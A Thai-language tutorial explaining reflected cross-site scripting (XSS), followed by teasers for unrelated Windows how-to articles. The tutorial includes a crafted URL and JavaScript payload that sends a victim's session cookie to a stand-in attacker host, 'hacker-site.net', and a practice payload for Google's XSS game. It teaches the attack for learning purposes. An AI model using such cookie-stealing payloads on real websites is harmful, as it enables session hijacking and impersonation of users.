Web7: การหาประโยชน์จาก XSS – ตอนที่ 1: XSS ที่สะท้อนกลับ

Web7: การหาประโยชน์จาก XSS – ตอนที่ 1: XSS ที่สะท้อนกลับ

การเขียนสคริปต์ข้ามไซต์คืออะไร?

Cross-Site Scripting (XSS) เป็นหนึ่งในเทคนิคการโจมตีที่ได้รับความนิยมมากที่สุดในปัจจุบัน ซึ่งรู้จักกันในชื่อ Godfather of Attack และเป็นเวลาหลายปีที่ได้รับการจัดอันดับให้เป็นเทคนิคการโจมตีที่อันตรายที่สุดสำหรับแอปพลิเคชันบนเว็บ

อย่าเรียกสั้นๆ ว่า CSS เพื่อหลีกเลี่ยงความสับสนกับแนวคิด Cascading Style Sheet ของ HTML
เทคนิค
XSS เกิดจากการแทรกสคริปต์ที่เป็นอันตรายลงในซอร์สโค้ดของแอปพลิเคชันเว็บ เพื่อรันโค้ด Javascript ที่เป็นอันตรายเพื่อเข้าควบคุมเซสชันการเข้าสู่ระบบของผู้ใช้

เพื่อให้เข้าใจดีขึ้น ลองพิจารณาตัวอย่างต่อไปนี้ เว็บแอปพลิเคชันที่อนุญาตให้พิมพ์ค่าที่เราส่งผ่าน URL โดยสมมติว่าเราส่งค่า Ping ให้กับตัวแปรชื่อ:

Web7: การหาประโยชน์จาก XSS – ตอนที่ 1: XSS ที่สะท้อนกลับ

จนถึงตอนนี้ทุกอย่างเรียบร้อยดี มาตรวจสอบซอร์สโค้ด html กันดีกว่า:

Web7: การหาประโยชน์จาก XSS – ตอนที่ 1: XSS ที่สะท้อนกลับ

สิ่งที่เห็นได้ง่ายคือค่าชื่อที่เราป้อนถูกแทรกลงในซอร์สโค้ดแล้ว ดังนั้นจึงเป็นไปได้ว่าอะไรก็ตามที่นำเข้ามาก็สามารถแทรกได้เช่นกัน ปัญหาจะร้ายแรงหากค่าที่ป้อนไม่ใช่สตริงปกติเหมือนด้านบน แต่เป็นโค้ดที่อาจเป็นอันตราย บางอย่างเช่นนี้:

 

ลองอีกครั้งด้วยค่าข้างต้น:

Web7: การหาประโยชน์จาก XSS – ตอนที่ 1: XSS ที่สะท้อนกลับ

จากตัวอย่างนี้ เราสามารถสรุปได้สองสิ่ง ขั้นแรก ตัวแปรชื่อสามารถรับค่าอินพุตใดๆ และส่งไปยังเซิร์ฟเวอร์เพื่อประมวลผลได้ ประการที่สอง เซิร์ฟเวอร์ไม่ได้ควบคุมค่าอินพุตนี้ก่อนที่จะส่งคืนไปยังเบราว์เซอร์ สิ่งนี้นำไปสู่การแทรกโค้ดจาวาสคริปต์ลงในซอร์สโค้ด

โดยทั่วไป XSS จะแบ่งออกเป็น 3 ประเภทหลัก: แบบสะท้อน, แบบจัดเก็บ และแบบ DOM ในบทความนี้ ผมจะพูดถึงเทคนิค Reflected XSS เป็นหลัก

เทคนิค XSS มากถึง 75% เป็นแบบสะท้อน XSS มันถูกเรียกว่าสะท้อนกลับเพราะในสถานการณ์การหาประโยชน์ประเภทนี้ แฮกเกอร์จะต้องส่ง URL ที่มีโค้ดที่เป็นอันตราย (โดยปกติคือจาวาสคริปต์) ให้กับเหยื่อ เหยื่อเพียงต้องการขอ URL นี้เท่านั้น และแฮกเกอร์จะได้รับคำตอบพร้อมผลลัพธ์ที่ต้องการทันที (แสดงภาพสะท้อนไว้ที่นี่) นอกจากนี้ยังเรียกอีกอย่างว่า XSS ลำดับที่หนึ่ง

สถานการณ์การขุดในชีวิตจริง

มีหลายวิธีในการใช้ประโยชน์จากข้อผิดพลาด Reflected XSS หนึ่งในวิธีที่เป็นที่รู้จักมากที่สุดคือการเข้าควบคุมเซสชันของผู้ใช้ ซึ่งจะเป็นการเข้าถึงข้อมูลและได้รับสิทธิ์บนเว็บไซต์

รายละเอียดมีการอธิบายไว้ในขั้นตอนต่อไปนี้:

Web7: การหาประโยชน์จาก XSS – ตอนที่ 1: XSS ที่สะท้อนกลับ

1. ผู้ใช้เข้าสู่ระบบเว็บและถือว่าเซสชันได้รับมอบหมาย:

Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4

2. แฮกเกอร์ส่ง URL ให้กับผู้ใช้:

http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;

สมมติว่า example.com เป็นเว็บไซต์ที่เหยื่อเข้าชม ส่วน hacker-site.net เป็นเว็บไซต์ที่แฮ็กเกอร์สร้างขึ้น

3. เหยื่อเข้าถึง URL ข้างต้น

4. เซิร์ฟเวอร์ตอบสนองต่อเหยื่อพร้อมกับข้อมูลที่มีอยู่ในคำขอ (ตัวอย่างจาวาสคริปต์ของแฮ็กเกอร์)

5. เบราว์เซอร์เหยื่อได้รับการตอบกลับและรันจาวาสคริปต์

6. จาวาสคริปต์จริงที่แฮกเกอร์สร้างขึ้นมีดังนี้:

var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;

บรรทัดคำสั่งข้างต้นจะส่งคำขอไปยังไซต์ของแฮ็กเกอร์โดยมีพารามิเตอร์เป็นคุกกี้ของผู้ใช้:

GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net

7. จากไซต์ของคุณ แฮกเกอร์จะตรวจจับเนื้อหาคำขอข้างต้น และพิจารณาว่าเซสชันของผู้ใช้จะถูกยึดครอง ณ จุดนี้ แฮกเกอร์สามารถปลอมตัวเป็นเหยื่อและใช้สิทธิ์ทั้งหมดบนเว็บไซต์ที่เหยื่อมี

ฝึกฝน

Google ได้สร้างเพจเพื่อฝึกฝนการหาประโยชน์จากข้อผิดพลาด XSS ที่นี่: https://xss-game.appspot.com

เป้าหมายของความท้าทายเหล่านี้คือคุณต้องแทรกสคริปต์เพื่อแสดงป๊อปอัป ความท้าทายประการแรกคือการแสดงให้เห็นเทคนิคที่สะท้อนออกมา โค้ดการหาประโยชน์นั้นค่อนข้างง่าย:

https://xss-game.appspot.com/level1/frame?query=alert('pwned')

ขอให้โชคดี!


วิธีย่อขนาดหน้าจอใน Windows 10

วิธีย่อขนาดหน้าจอใน Windows 10

บทความนี้จะแสดงวิธีย่อขนาดหน้าจอใน Windows 10 เพื่อให้คุณใช้งานได้อย่างมีประสิทธิภาพ

วิธีปิด (หรือเปิด) Xbox Game Bar บน Windows 10

วิธีปิด (หรือเปิด) Xbox Game Bar บน Windows 10

Xbox Game Bar เป็นเครื่องมือสนับสนุนที่ยอดเยี่ยมที่ Microsoft ติดตั้งบน Windows 10 ซึ่งผู้ใช้สามารถเรียนรู้วิธีเปิดหรือปิดได้อย่างง่ายดาย

5 วิธีในการจดบันทึกบน Windows 11 โดยไม่ต้องดาวน์โหลดซอฟต์แวร์

5 วิธีในการจดบันทึกบน Windows 11 โดยไม่ต้องดาวน์โหลดซอฟต์แวร์

หากความจำของคุณไม่ค่อยดี คุณสามารถใช้เครื่องมือเหล่านี้เพื่อเตือนตัวเองถึงสิ่งสำคัญขณะทำงานได้

วิธีนำแอพพลิเคชั่นไปไว้บนหน้าจอคอมพิวเตอร์ Windows 11

วิธีนำแอพพลิเคชั่นไปไว้บนหน้าจอคอมพิวเตอร์ Windows 11

หากคุณคุ้นเคยกับ Windows 10 หรือเวอร์ชันก่อนหน้า คุณอาจประสบปัญหาในการนำแอปพลิเคชันไปยังหน้าจอคอมพิวเตอร์ของคุณในอินเทอร์เฟซ Windows 11 ใหม่ มาทำความรู้จักกับวิธีการง่ายๆ เพื่อเพิ่มแอพพลิเคชั่นลงในเดสก์ท็อปของคุณ

วิธีถอนการติดตั้งไดรเวอร์บน Windows อย่างสมบูรณ์

วิธีถอนการติดตั้งไดรเวอร์บน Windows อย่างสมบูรณ์

เพื่อหลีกเลี่ยงปัญหาและข้อผิดพลาดหน้าจอสีน้ำเงิน คุณต้องลบไดรเวอร์ที่ผิดพลาดซึ่งเป็นสาเหตุของปัญหาออก บทความนี้จะแนะนำวิธีถอนการติดตั้งไดรเวอร์บน Windows โดยสมบูรณ์

วิธีเปิดใช้งานแป้นพิมพ์เสมือน/แป้นพิมพ์สัมผัสบน Windows 11

วิธีเปิดใช้งานแป้นพิมพ์เสมือน/แป้นพิมพ์สัมผัสบน Windows 11

เรียนรู้วิธีเปิดใช้งานแป้นพิมพ์เสมือนบน Windows 11 เพื่อเพิ่มความสะดวกในการใช้งาน ผสานเทคโนโลยีใหม่เพื่อประสบการณ์ที่ดียิ่งขึ้น

วิธีใช้ AdLock เพื่อบล็อกโฆษณาบนคอมพิวเตอร์ของคุณ

วิธีใช้ AdLock เพื่อบล็อกโฆษณาบนคอมพิวเตอร์ของคุณ

เรียนรู้การติดตั้งและใช้ AdLock เพื่อบล็อกโฆษณาบนคอมพิวเตอร์ของคุณอย่างมีประสิทธิภาพและง่ายดาย

หนอนคืออะไร? เหตุใดจึงเป็นอันตรายต่อคอมพิวเตอร์?

หนอนคืออะไร? เหตุใดจึงเป็นอันตรายต่อคอมพิวเตอร์?

เวิร์มคอมพิวเตอร์คือโปรแกรมมัลแวร์ประเภทหนึ่งที่มีหน้าที่หลักคือการแพร่ไวรัสไปยังคอมพิวเตอร์เครื่องอื่นในขณะที่ยังคงทำงานอยู่บนระบบที่ติดไวรัส

วิธีดาวน์โหลด อัปเดต และแก้ไขปัญหาไดรเวอร์ USB บน Windows 10

วิธีดาวน์โหลด อัปเดต และแก้ไขปัญหาไดรเวอร์ USB บน Windows 10

เรียนรู้วิธีดาวน์โหลดและอัปเดตไดรเวอร์ USB บนอุปกรณ์ Windows 10 เพื่อให้ทำงานได้อย่างราบรื่นและมีประสิทธิภาพ

5 วิธีในการปรับแต่ง Xbox Game Bar บน Windows PC

5 วิธีในการปรับแต่ง Xbox Game Bar บน Windows PC

หากคุณต้องการเรียนรู้เพิ่มเติมเกี่ยวกับ Xbox Game Bar และวิธีปรับแต่งให้เหมาะกับประสบการณ์การเล่นเกมที่สมบูรณ์แบบของคุณ บทความนี้มีข้อมูลทั้งหมด